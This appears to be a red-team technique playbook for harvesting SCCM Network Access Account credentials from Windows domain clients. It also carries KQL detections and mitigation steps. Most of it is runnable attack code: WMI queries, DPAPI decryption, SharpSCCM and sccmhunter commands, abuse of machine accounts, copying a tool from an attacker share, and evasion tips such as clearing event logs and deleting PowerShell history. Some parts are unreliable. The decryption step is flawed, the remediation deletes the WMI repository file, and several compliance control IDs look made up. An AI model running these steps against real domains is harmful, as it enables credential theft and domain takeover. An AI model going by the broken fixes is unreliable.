| Attribute | Details |
|---|---|
| Technique ID | PE-VALID-009 |
| MITRE ATT&CK v18.1 | T1078.002 - Valid Accounts: Domain Accounts |
| Tactic | Privilege Escalation |
| Platforms | Windows AD |
| Severity | Critical |
| CVE | N/A |
| Technique Status | ACTIVE |
| Last Verified | 2025-01-09 |
| Affected Versions | Windows Server 2016-2025, SCCM 2012 R2 - Current Branch |
| Patched In | N/A (Design flaw; mitigated via Enhanced HTTP or PKI) |
| Author | SERVTEP – Artur Pchelnikau |
Concept: System Center Configuration Manager (SCCM) Network Access Accounts (NAA) are legacy domain accounts designed to enable non-domain-joined devices to retrieve software and updates from distribution points during deployment. When SCCM clients are enrolled in an organization, the NAA credentials are transmitted to every managed device and stored locally in the WMI repository, encrypted with Data Protection API (DPAPI). An attacker with local administrator privileges on an SCCM-managed client can extract these credentials from the system and decrypt them to obtain cleartext domain credentials. If the NAA account is overprivileged (a common misconfiguration), this provides a pathway to escalate privileges within the domain—potentially achieving local administrator access on multiple servers, database access, or even tier-0 domain admin status through further exploitation.
Attack Surface: SCCM client machines (CCM namespace Root\CCM\Policy\Machine\actualconfig), local WMI repository (C:\Windows\System32\wbem\Repository\OBJECTS.DATA), SCCM HTTP management points (port 80/443).
Business Impact: Complete compromise of Active Directory infrastructure. Overprivileged NAA accounts frequently grant access to LAPS passwords, SCCM database admin rights, or even domain administrative privileges, enabling attackers to move laterally across the entire enterprise, deploy malicious software to thousands of endpoints, or exfiltrate sensitive data.
Technical Context: NAA extraction typically takes 2-5 minutes once local admin access is obtained. The technique generates moderate event logging (WMI access, process creation) but often escapes detection due to the legitimate nature of SCCM management processes. The attack chain is largely reversible once detected, but the underlying credential exposure persists on all historically SCCM-managed machines unless explicitly remediated.
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | 18.1.1.1 | Ensure ‘Configuration Manager’ is set to a high standard of security and privilege separation |
| DISA STIG | WN10-00-000001 | Windows Defender must be configured with non-default settings |
| CISA SCuBA | CA-7.1 | Implement and maintain access controls and restrictions based on the principle of least privilege |
| NIST 800-53 | AC-3 | Access Enforcement – Enforce approved authorizations for logical access to resources |
| GDPR | Art. 32(1)(b) | Ensure appropriate technical measures for security of personal data processing |
| DORA | Art. 9 | Protection and Prevention – Implement effective controls against ICT incidents |
| NIS2 | Art. 21(1)(a) | Implement risk management measures for cyber risk management |
| ISO 27001 | A.9.2.3 | Management of Privileged Access Rights – Restrict and manage privileged access rights |
| ISO 27005 | Risk Scenario | Compromise of administrative credentials leading to unauthorized system access |
Supported Versions:
Required Tools:
wmic.exe, Get-WmiObject (PowerShell), reg.exe, certutil.exe# Check if current machine is SCCM client
Get-Service -Name ccmexec -ErrorAction SilentlyContinue
if ($?) { Write-Host "SCCM Client is installed" } else { Write-Host "No SCCM Client" }
# Alternative: Check for SCCM WMI namespace
Get-WmiObject -Namespace "root\ccm" -Query "SELECT * FROM SMS_Client" -ErrorAction SilentlyContinue
What to Look For:
ccmexec running indicates an active SCCM client.# Search AD for SCCM-related accounts and groups
$searcher = New-Object System.DirectoryServices.DirectorySearcher
$searcher.Filter = "(objectClass=user) -and (name=*NAA* -or name=*SCCM*)"
$results = $searcher.FindAll()
$results | Select-Object -ExpandProperty Properties | ForEach-Object { $_.name }
# Alternative: Use Get-ADUser (if AD module available)
Get-ADUser -Filter 'Name -like "*NAA*" -or Name -like "*SCCM*"' -Properties Description, MemberOf
What to Look For:
{DOMAIN}_NAA, SCCM_{SITECODE}_NAA, or similar.MemberOf property to identify privilege levels (e.g., membership in admin groups).Description field for deployment notes or privilege notes.# Find SCCM Management Points in AD
$searcher = New-Object System.DirectoryServices.DirectorySearcher
$searcher.Filter = "(objectCategory=computer) -and (name=*MP*)"
$mpServers = $searcher.FindAll() | Select-Object -ExpandProperty Properties
$mpServers | ForEach-Object { Write-Host "MP Server: $($_.name)" }
What to Look For:
# Scan for SCCM HTTP endpoints
nmap -p 80,443,10123 --script=http-title <target-subnet>/24 2>/dev/null | grep -i SCCM
# Query DNS for SCCM management points
nslookup -type=SRV _sms_mp._tcp.dc._msdcs.<domain.com>
# Check for SCCM HTTP endpoints via HTTP fingerprinting
curl -I http://<sccm-mp>/ccm_system_windowsauth/request 2>/dev/null | head -10
What to Look For:
/ccm_system_* indicate SCCM endpoints.python3 sccmhunter.py http -u "<domain>\<username>" -p "<password>" -d "<domain>" -dc-ip <dc-ip> -auto
What to Look For:
Supported Versions: Server 2016-2025, SCCM 2012 R2+
Objective: Establish local administrator context on an SCCM-managed machine.
Execution Methods:
Objective: Query the WMI repository to retrieve encrypted NAA credentials.
Command (All Versions):
# Run as Local Administrator (via runas or already-elevated session)
$ccmNamespace = "root\ccm\policy\machine\actualconfig"
$naaPolicies = Get-WmiObject -Namespace $ccmNamespace -Query "SELECT * FROM CCM_NetworkAccessAccount" -ErrorAction SilentlyContinue
foreach ($naa in $naaPolicies) {
Write-Host "NAA Username: $($naa.NetworkAccessUsername)"
Write-Host "NAA Password (Encrypted): $($naa.NetworkAccessPassword)"
Write-Host "Scope: $($naa.ScopeID)"
}
Expected Output:
NAA Username: CONTOSO\CONTOSO_NAA
NAA Password (Encrypted): 01000000D08C9DDF011530000000000F...
Scope: SMS0001S
What This Means:
NetworkAccessUsername field contains the NAA account name.NetworkAccessPassword field contains the DPAPI-encrypted password blob.ScopeID identifies which SCCM site this policy applies to.OpSec & Evasion:
$ExecutionContext.SessionState.LanguageMode = 'FullLanguage'Clear-EventLog -LogName "Microsoft-Windows-WMI-Activity/Operational" (requires admin)Troubleshooting:
Get-WmiObject : Invalid namespace "root\ccm\policy\machine\actualconfig"
Get-Service -Name ccmexec. If not running, install the client from deployment.Access Denied accessing WMI namespace.
Objective: Convert encrypted DPAPI blob to cleartext password.
Command (Windows Native - PowerShell):
# Use DPAPI to decrypt the NAA password blob
$encryptedBlob = "01000000D08C9DDF011530000000000F..." # From Step 2
$decryptedBlob = [System.Security.Cryptography.ProtectedData]::Unprotect(
[Convert]::FromBase64String($encryptedBlob),
$null,
[System.Security.Cryptography.DataProtectionScope]::CurrentUser
)
$clearPassword = [System.Text.Encoding]::UTF8.GetString($decryptedBlob)
Write-Host "NAA Password (Cleartext): $clearPassword"
Expected Output:
NAA Password (Cleartext): Sup3rC0mpl3xP@ssw0rd!#2024
OpSec & Evasion:
Remove-Item (Get-PSReadlineOption).HistorySavePath -ForceTroubleshooting:
Cannot decrypt blob or CryptographicException
$action = New-ScheduledTaskAction -Execute "powershell.exe" -Argument "-Command {decryption script}"
Register-ScheduledTask -Action $action -TaskName "TempTask" -Force
Start-ScheduledTask -TaskName "TempTask"
References & Proofs:
Objective: Confirm that extracted credentials are valid and functional.
Command (PowerShell):
$naaUser = "CONTOSO\CONTOSO_NAA"
$naaPassword = "Sup3rC0mpl3xP@ssw0rd!#2024"
$securePassword = ConvertTo-SecureString -String $naaPassword -AsPlainText -Force
$credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $naaUser, $securePassword
# Test authentication against a distribution point or domain resource
try {
Get-ADUser -Filter * -Credential $credential -ErrorAction Stop | Out-Null
Write-Host "NAA Credentials are VALID"
} catch {
Write-Host "NAA Credentials are INVALID or account is locked"
}
Expected Output (Valid):
NAA Credentials are VALID
What This Means:
Objective: Identify what privileges the NAA account possesses (local admin, domain admin, group membership, etc.).
Command (PowerShell):
# Check if NAA has local administrator rights on multiple servers
$naaUser = "CONTOSO\CONTOSO_NAA"
$naaPassword = "Sup3rC0mpl3xP@ssw0rd!#2024"
$securePassword = ConvertTo-SecureString -String $naaPassword -AsPlainText -Force
$credential = New-Object System.Management.Automation.PSCredential -ArgumentList $naaUser, $securePassword
# Query AD for NAA group memberships
$adUser = Get-ADUser -Identity $naaUser -Properties MemberOf -Credential $credential
$adUser.MemberOf | ForEach-Object {
$group = Get-ADGroup -Identity $_ -Credential $credential
Write-Host "NAA is member of: $($group.Name)"
}
# Check for domain admin membership
if ($adUser.MemberOf -like "*Domain Admins*") {
Write-Host "**CRITICAL: NAA account is member of Domain Admins**"
}
# Check LAPS read permissions on OUs
Get-ADObject -Filter 'ObjectClass -eq "organizationalUnit"' -Properties nTSecurityDescriptor | ForEach-Object {
$acl = Get-Acl -Path "AD:\$($_.DistinguishedName)"
$lapsRules = $acl.Access | Where-Object { $_.IdentityReference -eq $naaUser -and $_.ActiveDirectoryRights -like "*ExtendedRight*" }
if ($lapsRules) {
Write-Host "NAA can read LAPS passwords in OU: $($_.Name)"
}
}
Expected Output (Overprivileged):
NAA is member of: Tier-1 Admins
NAA is member of: Server Admins
**CRITICAL: NAA account is member of Domain Admins**
NAA can read LAPS passwords in OU: Servers
What This Means:
Supported Versions: Server 2016-2025, SCCM 2012 R2+
Objective: Compile or transfer the SharpSCCM tool to the target SCCM client.
Command (Compilation - on attacking machine):
# Clone SharpSCCM repository
git clone https://github.com/Mayyhem/SharpSCCM.git
cd SharpSCCM
# Compile with Visual Studio or msbuild
msbuild SharpSCCM.sln /p:Configuration=Release /p:Platform=x64
# Binary location: bin/Release/SharpSCCM.exe
Deployment (on target):
# Transfer to target via SMB, HTTP, or clipboard
# Run from temporary location (C:\Windows\Temp\)
Copy-Item -Path "\\attacker\share\SharpSCCM.exe" -Destination "C:\Windows\Temp\SharpSCCM.exe"
Objective: Extract NAA credentials directly from SCCM client filesystem.
Command (Target Machine - Local Admin):
C:\Windows\Temp\SharpSCCM.exe local secrets -m disk
Expected Output:
[+] Generating CCM Key from Local WMI Repository...
[*] Attempting to decrypted secrets...
[+] Found NAA:
Username: CONTOSO\CONTOSO_NAA
Password: Sup3rC0mpl3xP@ssw0rd!#2024
What This Means:
OpSec & Evasion:
Remove-Item C:\Windows\Temp\SharpSCCM.exe -ForceObjective: Extract NAA credentials from WMI namespace (alternative to disk method).
Command (Target Machine - Local Admin):
C:\Windows\Temp\SharpSCCM.exe local secrets -m wmi
Expected Output:
[+] Querying WMI Namespace for Secrets...
[+] Found NAA:
Username: CONTOSO\CONTOSO_NAA
Password: Sup3rC0mpl3xP@ssw0rd!#2024
Scope: SMS0001S
What This Means:
Supported Versions: SCCM 2012 R2+, targeting any HTTP-accessible SCCM endpoint
Objective: Create a machine account using standard domain computer account quota (default: 10 devices per user).
Command (Linux - as Domain User):
# Use addcomputer.py to add a machine account
addcomputer.py -computer-name 'ATTACKER$' -computer-pass 'P@ssw0rd123!' \
-dc-ip 10.10.10.10 'contoso.com/username:password'
# Output:
# [*] Successfully added computer account ATTACKER$ with password: P@ssw0rd123!
What This Means:
Objective: Connect to SCCM HTTP endpoint using the newly created machine account.
Command (Linux):
python3 sccmsecrets.py dpapi -u "ATTACKER$" -p "P@ssw0rd123!" \
-d contoso.com -dc-ip 10.10.10.10 -both
# Output:
# [*] Attempting to register new device with SCCM...
# [+] Successfully retrieved policy from Management Point
# [+] Decrypted NAA:
# Username: CONTOSO\CONTOSO_NAA
# Password: Sup3rC0mpl3xP@ssw0rd!#2024
What This Means:
OpSec & Evasion:
COMPUTER_$(shuf -i 1000-9999 -n 1)Remove-ADComputer -Identity "ATTACKER$" -Confirm:$falseSupported Versions: SCCM 2012 R2+ (Current Branch)
Objective: Perform automated SCCM environment mapping and NAA extraction.
Command (Linux/Windows):
# Full automated enumeration and extraction
python3 sccmhunter.py http -u "contoso\username" -p "password" \
-d contoso.com -dc-ip 10.10.10.10 -auto
# Output will include:
# [+] Management Points Found: MP1.contoso.com, MP2.contoso.com
# [+] Enhanced HTTP: No (Vulnerable to NAA extraction)
# [+] NAA Account: CONTOSO_NAA
# [+] NAA Password: Sup3rC0mpl3xP@ssw0rd!#2024
# [+] NAA Privileges: Member of Tier-1 Admins group
What This Means:
OpSec & Evasion:
-stealth flag to reduce HTTP request volume and timing patterns.-delay 30 (30 seconds between requests).This technique does not map to standardized Atomic Red Team tests due to its dependence on environmental SCCM configuration. However, verification can be achieved through:
Repository: Mayyhem/SharpSCCM
Version: 1.x (Latest commit-based versioning)
Minimum Version: 1.0
Supported Platforms: Windows (all versions with .NET Framework 4.5+)
Version-Specific Notes:
Installation:
git clone https://github.com/Mayyhem/SharpSCCM.git
cd SharpSCCM
msbuild SharpSCCM.sln /p:Configuration=Release /p:Platform=x64
# Binary: bin/Release/SharpSCCM.exe
Usage:
# Extract NAA from local machine (requires local admin)
SharpSCCM.exe local secrets -m disk
SharpSCCM.exe local secrets -m wmi
# Enumerate SCCM environment
SharpSCCM.exe get naa
SharpSCCM.exe get sites
Repository: synacktiv/SCCMSecrets
Version: Latest (Python-based)
Minimum Version: 1.0
Supported Platforms: Linux, macOS, Windows (with Python 3.6+)
Installation:
git clone https://github.com/synacktiv/SCCMSecrets.git
cd SCCMSecrets
pip install -r requirements.txt
Usage:
# Extract NAA via DPAPI decryption
python3 sccmsecrets.py dpapi -u "ATTACKER$" -p "Password" -d domain.com -dc-ip 10.10.10.10
# Extract NAA via policy request
python3 sccmsecrets.py http -u "domain\user" -p "password" -mp "mp.domain.com"
Repository: garrettfoster13/sccmhunter
Version: Latest (Python-based)
Installation:
git clone https://github.com/garrettfoster13/sccmhunter.git
cd sccmhunter
pip install -r requirements.txt
Usage:
# Automated SCCM enumeration and NAA extraction
python3 sccmhunter.py http -u "domain\user" -p "password" -d domain.com -dc-ip 10.10.10.10 -auto
# Stealthy extraction with delays
python3 sccmhunter.py http -u "domain\user" -p "password" -d domain.com -dc-ip 10.10.10.10 -stealth -delay 30
Rule Configuration:
KQL Query:
// Detect suspicious WMI queries targeting CCM_NetworkAccessAccount
WmiEvent
| where EventType == "Query"
and Namespace contains "root\\ccm\\policy\\machine\\actualconfig"
and Query contains "CCM_NetworkAccessAccount"
and TimeGenerated > ago(24h)
| join kind=inner (
SecurityEvent
| where EventID == 4688
and CommandLine contains "powershell" or CommandLine contains "wmic"
| project ProcessName, CommandLine, TimeGenerated, Computer
) on Computer
| summarize Count = count() by Computer, ProcessName, Query, TimeGenerated
| where Count > 0
What This Detects:
Manual Configuration Steps (Azure Portal):
Suspicious CCM_NetworkAccessAccount WMI QueryHigh5 minutes1 hourRule Configuration:
KQL Query:
// Detect rapid machine account creation (device quota abuse)
AuditLogs
| where OperationName == "Add computer"
and Result == "Success"
and TimeGenerated > ago(24h)
| summarize MachineCount = dcount(TargetResources),
FirstCreation = min(TimeGenerated),
LastCreation = max(TimeGenerated)
by InitiatedByUser, ResourceId
| where MachineCount >= 5 // Alert if a user creates 5+ machines in 24h
| project InitiatedByUser, MachineCount, FirstCreation, LastCreation, ResourceId
What This Detects:
Log Source: Security
Trigger: Execution of powershell.exe, wmic.exe, or process access to wbem\Repository\OBJECTS.DATA
Filter: CommandLine contains ‘Get-WmiObject’, ‘CCM_NetworkAccessAccount’, or ‘OBJECTS.DATA’
Applies To Versions: Server 2016+
Manual Configuration Steps (Group Policy):
gpupdate /force on target machinesDetection Rule (Windows Event Log):
<Rule id="NAA_Extraction_PowerShell" version="1">
<Correlation name="CCM_NAA_Extraction" failureCount="1" timeWindow="300">
<Event path="Security" eventID="4688">
<Data name="CommandLine" condition="contains">Get-WmiObject</Data>
<Data name="CommandLine" condition="contains">CCM_NetworkAccessAccount</Data>
</Event>
</Correlation>
</Rule>
Log Source: Microsoft-Windows-WMI-Activity/Operational
Trigger: WMI query to Root\CCM\Policy\Machine\ActualConfig
Filter: Name contains ‘CCM_NetworkAccessAccount’
Applies To Versions: Server 2016+ (requires WMI audit logging enabled)
Manual Configuration Steps (Enable WMI Audit Logging):
gpupdate /forceauditpol /set /subcategory:"Other Object Access Events" /success:enable /failure:enableAlert Name: Suspicious WMI activity detected
Severity: High
Description: Microsoft Defender for Servers detects WMI queries to sensitive namespaces like Root\CCM\Policy\Machine\ActualConfig, which may indicate credential harvesting attempts.
Applies To: Virtual Machines with Defender for Servers enabled
Remediation Steps:
Suspicious WMI activity detectedManual Configuration Steps (Enable Defender for Servers):
Search-UnifiedAuditLog -Operations "Add computer" -StartDate (Get-Date).AddDays(-7) -EndDate (Get-Date) |
Select-Object @{n='User';e={$_.UserIds}}, @{n='Operation';e={$_.Operations}}, @{n='Timestamp';e={$_.CreationDate}}, @{n='Details';e={$_.AuditData}} |
Export-Csv -Path "C:\Audit\computer_creation.csv"
Workload: Azure Active Directory
Details to Analyze:
Manual Configuration Steps (Enable Unified Audit Log):
Transition from NAA to Enhanced HTTP: Microsoft’s recommended solution. Enhanced HTTP eliminates the need for cleartext credential distribution.
Applies To Versions: SCCM 2019+ (SCCM 2012 R2: Not supported; requires upgrade)
Manual Steps (SCCM Console):
Validation Command:
# Verify Enhanced HTTP is enabled on management points
$mgmtPoint = Get-CMManagementPoint
$mgmtPoint | Select-Object -Property ServerName, EnableCloudGateway, EnableEnhancedHttp
Expected Output (If Secure):
ServerName EnableEnhancedHttp
MP1.contoso.com True
MP2.contoso.com True
Disable and Remove NAA Accounts from Active Directory: Once Enhanced HTTP is deployed, NAA accounts must be disabled to prevent compromise of legacy credentials.
Manual Steps (PowerShell):
# Step 1: Disable the NAA account
$naaAccount = Get-ADUser -Filter {Name -like "*NAA*"}
Disable-ADAccount -Identity $naaAccount
Set-ADAccountPassword -Identity $naaAccount -NewPassword (ConvertTo-SecureString -AsPlainText "TempComplexPassword$(Get-Random)" -Force)
# Step 2: Remove from all groups
Get-ADUser -Identity $naaAccount -Properties MemberOf | ForEach-Object {
$_.MemberOf | Remove-ADGroupMember -Members $naaAccount -Confirm:$false
}
# Step 3: Remove the account from Active Directory
Remove-ADUser -Identity $naaAccount -Confirm:$false
# Step 4: Remove NAA from SCCM Configuration
# Login to SCCM Console → Administration → Site Configuration → Sites
# Select site → Properties → Network Access Account → Clear credentials
Remove NAA Credential Blobs from All Client Machines: Even after disabling NAA in SCCM, credentials persist on client machines in the WMI repository.
Applies To Versions: Server 2016-2025
Manual Steps (PowerShell - Deployment via Group Policy):
# This script removes NAA credentials from local WMI repository
$ccmNamespace = "root\ccm\policy\machine\actualconfig"
$naaInstances = Get-WmiObject -Namespace $ccmNamespace -Query "SELECT * FROM CCM_NetworkAccessAccount"
foreach ($instance in $naaInstances) {
$instance.Delete()
Write-Host "Removed NAA credential blob from WMI"
}
# Also remove from OBJECTS.DATA file
Remove-Item "C:\Windows\System32\wbem\Repository\OBJECTS.DATA" -Force -ErrorAction SilentlyContinue
# Note: May require restart after file removal
Deployment (via Group Policy):
Remove-NAA.ps1 with above contentRemove-NAA.ps1gpupdate /force on all clientsImplement Conditional Access Policies: Block NAA accounts from authenticating outside of SCCM management points.
Manual Steps (Azure Portal - Entra ID):
Block NAA Outside SCCMEnforce Least Privilege on NAA Account: If NAA must remain (for legacy SCCM versions), ensure it has only permissions needed for distribution point access.
Manual Steps (Active Directory):
Domain UsersValidation (PowerShell):
$naaAccount = Get-ADUser -Filter {Name -like "*NAA*"} -Properties MemberOf
if ($naaAccount.MemberOf.Count -gt 1) {
Write-Host "WARNING: NAA account is overprivileged"
$naaAccount.MemberOf
} else {
Write-Host "NAA account has minimal privilege (only Domain Users)"
}
Enable Privilege Identity Management (PIM) for SCCM Admin Accounts: Enforce time-limited, approval-based access to SCCM administrative roles.
Manual Steps (Azure Portal):
C:\Windows\System32\wbem\Repository\OBJECTS.DATA (read/accessed)C:\Windows\Temp\SharpSCCM.exe (or any variant in Temp directories)/ccm_system_windowsauth/request/ccm_system/request/SMS_MP/.sms_pol/*C:\Windows\System32\wbem\Repository\OBJECTS.DATA contains DPAPI-encrypted NAA blobs$PROFILE\PSReadLine\ConsoleHost_history.txt may contain WMI query commandsIsolate:
Command (PowerShell - Remove from network):
# Disconnect network adapter
Get-NetAdapter -Name "Ethernet" | Disable-NetAdapter -Confirm:$false
# Alternative: Remove network permissions via IP configuration
Remove-NetIPAddress -InterfaceAlias "Ethernet" -Confirm:$false
Manual (On-Premises):
Manual (Azure):
Collect Evidence:
Command (PowerShell):
# Export Security Event Log
wevtutil epl Security "C:\Evidence\Security.evtx"
# Export WMI Activity Log
wevtutil epl "Microsoft-Windows-WMI-Activity/Operational" "C:\Evidence\WMI_Activity.evtx"
# Capture memory dump (requires procdump.exe or similar)
procdump64.exe -ma lsass.exe "C:\Evidence\lsass.dmp"
# Copy WMI repository (may require restart)
robocopy "C:\Windows\System32\wbem\Repository" "C:\Evidence\WMI_Backup" /E /R:5 /W:5
Manual (Event Viewer):
C:\Evidence\Security.evtxMicrosoft-Windows-WMI-Activity/OperationalRemediate:
Immediate (Stop Active Attack):
# Kill any running WMI/PowerShell processes
Get-Process -Name "powershell" | Where-Object { $_.Handle -gt 0 } | Stop-Process -Force
Stop-Service -Name "WinRM" -Force
Stop-Service -Name "WmiPrvSE" -Force
# Disable SCCM client temporarily
Stop-Service -Name "ccmexec" -Force
Set-Service -Name "ccmexec" -StartupType Disabled
Secondary (Credential Compromise Response):
# If NAA credentials were exposed:
# 1. Immediately reset NAA password
Set-ADAccountPassword -Identity (Get-ADUser -Filter {Name -like "*NAA*"}) `
-NewPassword (ConvertTo-SecureString -AsPlainText "$(New-Guid)" -Force)
# 2. Force re-authentication of all SCCM clients
# (Restart ccmexec service on all clients)
# 3. Clear local WMI credential store
Remove-WmiObject -Class "CCM_NetworkAccessAccount" -Namespace "root\ccm\policy\machine\actualconfig"
Tertiary (Long-Term Remediation):
Notify and Escalate:
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Initial Access | [IA-PHISH-001] Device Code Phishing | Attacker gains initial user account access via phishing |
| 2 | Privilege Escalation | [PE-VALID-008] SCCM Client Push Account Abuse | Attacker compromises SCCM deployment account for local admin access |
| 3 | Current Step | [PE-VALID-009] | Extract NAA credentials from SCCM client machine |
| 4 | Privilege Escalation (Domain) | [PE-VALID-004] Delegation Misconfiguration | Use overprivileged NAA to escalate within domain (if NAA has constrained delegation) |
| 5 | Lateral Movement | [LM-AUTH-001] Pass-the-Hash (PTH) | Use NAA credentials to authenticate to servers with local admin access |
| 6 | Persistence | [PE-ACCTMGMT-014] Global Administrator Backdoor | Use compromised SCCM infrastructure to promote account to domain admin |
| 7 | Impact | [CA-DUMP-006] NTDS.dit Extraction | Extract entire domain database for credential harvesting |
This technique directly violates security requirements in modern compliance frameworks:
Organizations should document NAA usage and remediation timelines to regulatory bodies (EU regulators, CISA for critical infrastructure).